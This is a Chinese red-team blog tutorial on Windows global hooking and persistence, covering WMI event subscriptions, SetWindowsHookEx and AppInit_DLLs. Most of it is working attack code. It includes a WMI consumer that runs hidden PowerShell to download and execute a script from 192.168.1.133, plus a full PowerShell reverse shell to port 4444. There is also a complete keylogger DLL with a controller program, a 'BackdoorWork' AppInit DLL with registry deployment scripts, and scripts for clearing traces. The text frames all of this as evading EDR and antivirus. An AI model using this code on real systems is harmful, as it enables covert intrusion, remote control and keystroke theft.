全局Hook

2025-11-1 224 11/1

全局Hook

一、WMI监控介绍

WMI(Windows Management Instrumentation)监控室我们隐蔽收集目标系统信息、监控系统行为的核心手段,基于WIndows自带管理框架,无需额外安装组件,隐蔽性强,可以实时监控进程创建/退出、注册表修改、文件操作、网络连接等行为

WMI监控方便我们更好的隐藏载荷,如 目前已经获取到机器shell,但存在EDR检测,我们的恶意Payload不能直接投放,我们就可以用WMI监控,订阅“进程创建”事件,当目标机器的EDR进程未运行时,进行条件触发实施Payload投放。

关于隐蔽性,WMI是基于系统服务运行的,没有独立的进程,所有操作都通过Winmgmt服务执行,很难辨别是正常操作还是恶意操作,甚至可以使用临时订阅,当监控完成后立即删除事件过滤器事件消费者绑定关系,不留痕迹。WMI服务依赖度高,如果目标机器的Winmgmt服务被禁用,监控就会失效。

# 查看所有WMI事件过滤器
Get-WmiObject -Namespace root\subscription -Class __EventFilter

# 查看所有WMI事件消费者
Get-WmiObject -Namespace root\subscription -Class __EventConsumer

# 查看过滤器与消费者的绑定关系
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

二、WMI监控实现

WMI监控实现核心逻辑创建事件过滤器→创建事件消费者→创建绑定关系

  • 事件过滤器(Event Filter):定义监控的事件类型(如进程创建、注册表修改)和筛选条件(如特定进程名、注册表路径)。

  • 事件消费者(Event Consumer):定义事件触发后执行的动作(如运行命令、加载DLL、触发载荷),红队中常用ActiveScriptEventConsumer(执行脚本)和CommandLineEventConsumer(执行命令)。

  • 绑定关系(FilterToConsumerBinding):将过滤器和消费者关联,使过滤器检测到事件后,触发消费者执行动作。

我们可以通过调用 WMI APIPowershell

(一)Powershell 实现

# 1. 先定义变量
$targetProcess = "calc.exe"
$maliciousCommand = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')`""

# 2. 创建事件过滤器
$filterArgs = @{
    Name = "ProcessMonitorFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='$targetProcess'"
}
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs

# 3. 创建事件消费者
$consumerArgs = @{
    Name = "ProcessMonitorConsumer"
    CommandLineTemplate = $maliciousCommand
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs

# 4. 创建绑定关系
$bindingArgs = @{
    Filter = $filter
    Consumer = $consumer
}
$binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments $bindingArgs

Write-Host "[+] WMI监控已建立,正在监控进程: $targetProcess"

这里的payload.ps1 我们编译一个用于反弹shell的

$client = New-Object System.Net.Sockets.TCPClient('192.168.1.133',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

还有一点要注意,如果要执行ps1脚本的话有的目标机器需要先改一下其执行策略。

有了这WMI监控后,目标机器重启也还是会保留我们的WMI监控,然后当再次打开calc.exe时就会接着触发,但是在面对杀软的情况下此命令还是太放肆了,实战中需要对其进行免杀处理,并模糊一下行为链

$maliciousCommand = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')`""

(二)WMI API调用实现

C++语言实现代码,VS编译

#include <windows.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <iostream>

#pragma comment(lib, "wbemuuid.lib")

// 安全释放 COM 接口的宏
#define SAFE_RELEASE(p) if (p) { p->Release(); p = NULL; }

// 错误检查辅助函数
void CheckResult(HRESULT hr, const char* msg) {
    if (FAILED(hr)) {
        std::cerr << "[-] " << msg << " 失败,错误码: 0x" << std::hex << hr << std::endl;
        throw std::runtime_error(msg);
    }
}

int main() {
    HRESULT hr = S_OK;
    IWbemLocator* pLoc = NULL;
    IWbemServices* pSvc = NULL;
    IWbemClassObject* pClass = NULL;
    IWbemClassObject* pFilter = NULL;
    IWbemClassObject* pConsumer = NULL;
    IWbemClassObject* pBinding = NULL;

    try {
        // 1. 初始化 COM
        hr = CoInitializeEx(0, COINIT_MULTITHREADED);
        CheckResult(hr, "CoInitializeEx");

        // 2. 设置 COM 安全级别
        hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
            RPC_C_AUTHN_LEVEL_DEFAULT,
            RPC_C_IMP_LEVEL_IMPERSONATE,
            NULL, EOAC_NONE, NULL);
        // CoInitializeSecurity 可能在多次调用时报 RPC_E_TOO_LATE,我们忽略该错误
        if (FAILED(hr) && hr != RPC_E_TOO_LATE) {
            CheckResult(hr, "CoInitializeSecurity");
        }

        // 3. 创建 WbemLocator 对象
        hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
            IID_IWbemLocator, (LPVOID*)&pLoc);
        CheckResult(hr, "CoCreateInstance");

        // 4. 连接到 root\subscription 命名空间
        hr = pLoc->ConnectServer(
            _bstr_t(L"ROOT\\subscription"), // 命名空间
            NULL,                           // 用户名
            NULL,                           // 密码
            NULL,                           // 区域设置
            0,                               // 安全标志
            NULL,                           // 授权
            NULL,                           // WBEM 上下文
            &pSvc                           // 返回服务代理
        );
        CheckResult(hr, "ConnectServer");

        // 5. 设置代理安全级别,使服务能模拟客户端
        hr = CoSetProxyBlanket(pSvc,
            RPC_C_AUTHN_WINNT,               // 身份验证服务
            RPC_C_AUTHZ_NONE,                 // 授权服务
            NULL,                             // 服务器主体名称
            RPC_C_AUTHN_LEVEL_CALL,           // 身份验证级别
            RPC_C_IMP_LEVEL_IMPERSONATE,      // 模拟级别
            NULL,                              // 客户端身份
            EOAC_NONE                          // 代理功能
        );
        CheckResult(hr, "CoSetProxyBlanket");

        // ---------- 创建事件过滤器 (__EventFilter) ----------
        // 获取 __EventFilter 类定义
        hr = pSvc->GetObject(_bstr_t(L"__EventFilter"), 0, NULL, &pClass, NULL);
        CheckResult(hr, "GetObject __EventFilter");

        // 创建过滤器实例
        hr = pClass->SpawnInstance(0, &pFilter);
        pClass->Release(); pClass = NULL;
        CheckResult(hr, "SpawnInstance __EventFilter");

        // 设置过滤器属性
        VARIANT vtProp;
        VariantInit(&vtProp);

        // Name = "ProcessMonitorFilter"
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"ProcessMonitorFilter");
        hr = pFilter->Put(L"Name", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put Name");

        // EventNamespace = "root\\cimv2"
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"root\\cimv2");
        hr = pFilter->Put(L"EventNamespace", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put EventNamespace");

        // QueryLanguage = "WQL"
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"WQL");
        hr = pFilter->Put(L"QueryLanguage", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put QueryLanguage");

        // Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='calc.exe'"
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(
            L"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='calc.exe'");
        hr = pFilter->Put(L"Query", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put Query");

        // 将过滤器实例保存到 WMI
        hr = pSvc->PutInstance(pFilter, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
        CheckResult(hr, "PutInstance __EventFilter");

        std::cout << "[+] 事件过滤器创建成功" << std::endl;

        // ---------- 创建事件消费者 (CommandLineEventConsumer) ----------
        hr = pSvc->GetObject(_bstr_t(L"CommandLineEventConsumer"), 0, NULL, &pClass, NULL);
        CheckResult(hr, "GetObject CommandLineEventConsumer");

        hr = pClass->SpawnInstance(0, &pConsumer);
        pClass->Release(); pClass = NULL;
        CheckResult(hr, "SpawnInstance CommandLineEventConsumer");

        // Name = "ProcessMonitorConsumer"
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"ProcessMonitorConsumer");
        hr = pConsumer->Put(L"Name", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put Consumer Name");

        // CommandLineTemplate = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')\""
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(
            L"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.133/payload.ps1')\"");
        hr = pConsumer->Put(L"CommandLineTemplate", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put CommandLineTemplate");

        hr = pSvc->PutInstance(pConsumer, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
        CheckResult(hr, "PutInstance CommandLineEventConsumer");

        std::cout << "[+] 事件消费者创建成功" << std::endl;

        // ---------- 创建绑定 (__FilterToConsumerBinding) ----------
        hr = pSvc->GetObject(_bstr_t(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL);
        CheckResult(hr, "GetObject __FilterToConsumerBinding");

        hr = pClass->SpawnInstance(0, &pBinding);
        pClass->Release(); pClass = NULL;
        CheckResult(hr, "SpawnInstance __FilterToConsumerBinding");

        // Filter = "__EventFilter.Name=\"ProcessMonitorFilter\""
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"__EventFilter.Name=\"ProcessMonitorFilter\"");
        hr = pBinding->Put(L"Filter", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put Filter");

        // Consumer = "CommandLineEventConsumer.Name=\"ProcessMonitorConsumer\""
        vtProp.vt = VT_BSTR;
        vtProp.bstrVal = SysAllocString(L"CommandLineEventConsumer.Name=\"ProcessMonitorConsumer\"");
        hr = pBinding->Put(L"Consumer", 0, &vtProp, 0);
        VariantClear(&vtProp);
        CheckResult(hr, "Put Consumer");

        hr = pSvc->PutInstance(pBinding, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
        CheckResult(hr, "PutInstance __FilterToConsumerBinding");

        std::cout << "[+] 绑定关系创建成功" << std::endl;
        std::cout << "[+] WMI 监控已建立,正在监控进程: calc.exe" << std::endl;

        // 清理 VARIANT
        VariantClear(&vtProp);
    }
    catch (const std::exception& e) {
        std::cerr << "[-] 发生异常: " << e.what() << std::endl;
    }

    // 释放所有接口
    SAFE_RELEASE(pBinding);
    SAFE_RELEASE(pConsumer);
    SAFE_RELEASE(pFilter);
    SAFE_RELEASE(pClass);
    SAFE_RELEASE(pSvc);
    SAFE_RELEASE(pLoc);
    CoUninitialize();

    system("pause");
    return 0;
}

注意此PE文件需要管理员运行,所以在执行前必须Bypass UAC,否则执行失败。

(三)删除三件套

# 删除绑定关系
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "ProcessMonitorFilter" } | Remove-WmiObject

# 删除消费者
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='ProcessMonitorConsumer'" | Remove-WmiObject

# 删除过滤器
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='ProcessMonitorFilter'" | Remove-WmiObject

四、SetWindowsHookEx 介绍

SetWindowsHookEx是WIndows API中用于设置全局Hook的核心函数,可实现对系统消息、键盘输入、鼠标操作等监控和拦截

局部Hook:监控当前进程

全局Hook:监控系统中所有进程

SetWindowsHookEx函数结构

HHOOK SetWindowsHookEx(
    int idHook,          // 钩子类型
    HOOKPROC lpfn,       // 钩子函数地址
    HINSTANCE hModWin32, // 钩子DLL的实例句柄
    DWORD dwThreadId     // 线程ID(全局钩子设为0,监控所有线程;局部钩子设为当前线程ID)
);

五、SetWindowsHookEx 实现

实现流程

编写钩子DLL→ 编写主程序→ 注入DLL到目标进程→ 钩子函数捕获/拦截事件→ 卸载钩子并清理痕迹

实现代码,先完成我们的钩子DLL

HookDLL.cpp

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "user32.lib")
#pragma comment(lib, "kernel32.lib")

// --- 关键:共享数据段 ---
#pragma data_seg(".shared")
HHOOK g_hHook = NULL; 
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")

CRITICAL_SECTION g_cs;

// 内部获取路径函数
void InternalGetLogPath(char* buffer, int size) {
    char tempPath[MAX_PATH];
    if (GetTempPathA(MAX_PATH, tempPath) > 0) {
        sprintf_s(buffer, size, "%skeylog_hook.txt", tempPath);
    } else {
        strcpy_s(buffer, size, "C:\\keylog_hook.txt");
    }
}

// 记录按键
void LogKeyPress(DWORD vkCode, const char* keyText) {
    EnterCriticalSection(&g_cs);
    
    char logPath[MAX_PATH];
    InternalGetLogPath(logPath, MAX_PATH);

    FILE* logFile = NULL;
    if (fopen_s(&logFile, logPath, "a") == 0 && logFile) {
        SYSTEMTIME st;
        GetLocalTime(&st);
        fprintf(logFile, "[%02d:%02d:%02d.%03d] %-15s (VK:0x%02X)\n", 
                st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, keyText, vkCode);
        fclose(logFile);
    }
    
    LeaveCriticalSection(&g_cs);
}

// 钩子回调
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
        char keyName[64] = { 0 };
        
        LONG scanCode = pKey->scanCode << 16;
        if (pKey->flags & LLKHF_EXTENDED) scanCode |= 0x01000000;

        if (GetKeyNameTextA(scanCode, keyName, sizeof(keyName)) > 0) {
            LogKeyPress(pKey->vkCode, keyName);
        } else {
            char hex[16];
            sprintf_s(hex, "Key_0x%02X", pKey->vkCode);
            LogKeyPress(pKey->vkCode, hex);
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID res) {
    if (reason == DLL_PROCESS_ATTACH) {
        InitializeCriticalSection(&g_cs);
        DisableThreadLibraryCalls(hInst);
    } else if (reason == DLL_PROCESS_DETACH) {
        DeleteCriticalSection(&g_cs);
    }
    return TRUE;
}

// --- 导出函数 ---
extern "C" __declspec(dllexport) void SetGlobalHook() {
    if (g_hHook == NULL) {
        HINSTANCE hInst = GetModuleHandleA("HookDLL.dll");
        g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInst, 0);
    }
}

extern "C" __declspec(dllexport) void UnsetGlobalHook() {
    if (g_hHook != NULL) {
        UnhookWindowsHookEx(g_hHook);
        g_hHook = NULL;
    }
}

extern "C" __declspec(dllexport) BOOL IsHookActive() {
    return (g_hHook != NULL);
}

extern "C" __declspec(dllexport) void GetLogPath(char* buf, int size) {
    InternalGetLogPath(buf, size);
}

然后是主程序

Main.cpp

#include <windows.h>
#include <iostream>
#include <conio.h>
#include <string>

typedef void (*SetHookFunc)();
typedef void (*UnsetHookFunc)();
typedef BOOL (*IsHookActiveFunc)();
typedef void (*GetLogPathFunc)(char*, int);

HINSTANCE g_hDll = NULL;
SetHookFunc g_SetGlobalHook = NULL;
UnsetHookFunc g_UnsetGlobalHook = NULL;
IsHookActiveFunc g_IsHookActive = NULL;
GetLogPathFunc g_GetLogPath = NULL;
std::string g_logPath;
bool g_bRunning = true;

void PrintStatus(const std::string& msg, bool success = true) {
    HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(h, success ? 10 : 12);
    std::cout << (success ? "[+] " : "[-] ") << msg << std::endl;
    SetConsoleTextAttribute(h, 7);
}

int main() {
    SetConsoleTitleA("Keyboard Hook Controller");

    // 1. 加载 DLL
    g_hDll = LoadLibraryA("HookDLL.dll");
    if (!g_hDll) {
        PrintStatus("Cannot find HookDLL.dll!", false);
        system("pause"); return 1;
    }

    g_SetGlobalHook = (SetHookFunc)GetProcAddress(g_hDll, "SetGlobalHook");
    g_UnsetGlobalHook = (UnsetHookFunc)GetProcAddress(g_hDll, "UnsetGlobalHook");
    g_IsHookActive = (IsHookActiveFunc)GetProcAddress(g_hDll, "IsHookActive");
    g_GetLogPath = (GetLogPathFunc)GetProcAddress(g_hDll, "GetLogPath");

    if (!g_SetGlobalHook || !g_GetLogPath) {
        PrintStatus("DLL function export error!", false);
        return 1;
    }

    // 2. 获取并显示路径
    char pathBuf[MAX_PATH] = {0};
    g_GetLogPath(pathBuf, MAX_PATH);
    g_logPath = pathBuf;
    std::cout << "[*] Log Path: " << g_logPath << "\n\n";

    // 3. 启动钩子
    g_SetGlobalHook();
    if (g_IsHookActive()) {
        PrintStatus("Hook is ACTIVE. Start typing anywhere...");
    }

    std::cout << "\nControls:\n [L] Open Log File\n [P] Show Path\n [Q] Quit\n\n";

    // 4. 核心:主线程消息循环
    MSG msg;
    while (g_bRunning) {
        // 处理控制台输入
        if (_kbhit()) {
            char k = toupper(_getch());
            if (k == 'Q') g_bRunning = false;
            if (k == 'P') std::cout << "Path: " << g_logPath << std::endl;
            if (k == 'L') ShellExecuteA(NULL, "open", "notepad.exe", g_logPath.c_str(), NULL, SW_SHOWNORMAL);
        }

        // 核心:处理 Windows 消息(钩子必须)
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
            if (msg.message == WM_QUIT) g_bRunning = false;
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        Sleep(10); // 降低 CPU 占用
    }

    // 5. 清理
    if (g_UnsetGlobalHook) g_UnsetGlobalHook();
    if (g_hDll) FreeLibrary(g_hDll);
    
    PrintStatus("Exited safely.");
    return 0;
}

全局Hook

全局Hook

可以以普通权限运行,并实现全局钩子

注意

这里有个坑,就是我们的日志文件操作逻辑不能写入到Main主程序,否则其他进程无法对我们的日志文件进行操作,我查完后大致是文件被主进程Main独占锁定,导致其他注入的进程无法写入,归属与WIndows文件共享模式的问题。

六、Appinit 架构介绍

AppInit_DLLs 是 Windows 原生提供的全局 DLL 预加载机制,允许指定的 DLL 在所有用户态 GUI 进程启动时被系统自动注入加载(默认注入所有使用 User32.dll 的 GUI 进程),不需要单独启动程序、不需要 SetWindowsHookEx、重启依然生效

工作原理:

Windows 系统加载流程  

进程启动 → 加载 User32.dll  

User32 读取注册表:AppInit_DLLs + LoadAppInit_DLLs

系统自动注入指定DLL到进程

后门静默运行

两个核心注册表:

1. 启用开关(必须设为 1)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

2. 要加载的DLL路径(可填多个,逗号分隔)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这两个注册表都是必须管理员权限才能写这两个注册表

这是64位的,32 位程序走 WOW6432Node 分支,当然我们都要写来确保通杀

不实施攻击,而是配置系统

七、Appinit 架构实现

Appinit 实现流程:

  • 编写 DLL

  • 管理员权限修改两处注册表

  • 重启进程 / 系统触发注入

  • DLL 加载

  • 清理痕迹

注意

  1. 64 位系统必须同时配置 原生 64 位 + 32 位重定向(WOW6432Node) 两处注册表

  2. DLL要求轻量化、稳定、无弹窗、免杀处理

前提

Powershell中输入下面命令检测安全启动是否开启,如果返回是TURE则开启,WIndows会禁用 AppInit_DLLs 功能

Confirm-SecureBootUEFI

如果确实开启我们只能进入到BIOS 把 Secure Boot 关掉 , Windows 11 正式安装默认会要求开着 Secure Boot , 如果出现在目标机上只能换方式注入了

(一)简单DLL脚本

#include <windows.h>
#include <tchar.h>

extern "C" __declspec(dllexport) void BackdoorWork()
{
    __try 
    {
        MessageBoxW(
            NULL,                              // 父窗口句柄(无)
            L"😜 恭喜你被AppInit钩子拿捏了!😜\n\n这个弹窗来自AppInit_DLLs加载的DLL",  // 弹窗内容
            L"💀 AppInit 小惊喜 💀",            // 弹窗标题
            MB_OK | MB_ICONWARNING | MB_TOPMOST // 样式:确定按钮 + 警告图标 + 置顶
        );
    }
    __except(EXCEPTION_EXECUTE_HANDLER) // 捕获所有异常,防止崩进程
    {
        return;
    }
}

DWORD WINAPI ShowMessageBoxThread(LPVOID lpParam)
{
    Sleep(1000);
    BackdoorWork();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hModule);
        
        CreateThread(NULL, 0, ShowMessageBoxThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在VS中编译好

(二)一键部署脚本(修改注册表)

@echo off
REM 启用 AppInit
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f

REM 指定要加载的DLL
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\AppInitPayload.dll" /f

REM 64位系统必须同时写32位重定向项
reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\SysWOW64\AppInitPayload.dll" /f

(三)触发注入

  1. 重启电脑

  2. 打开一个GUI进程(浏览器、记事本等)

(四)验证

任务管理器 → 详细信息 → 选择列 → 勾选 DLL

可以看到我们的DLL名,可以看到所以的GUI程序都加载了DLL程序,成功实现全局覆盖

(五)痕迹清理脚本

@echo off
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f

reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f
reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f

del C:\Windows\System32\AppInitPayload.dll
del C:\Windows\SysWOW64\AppInitPayload.dll

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论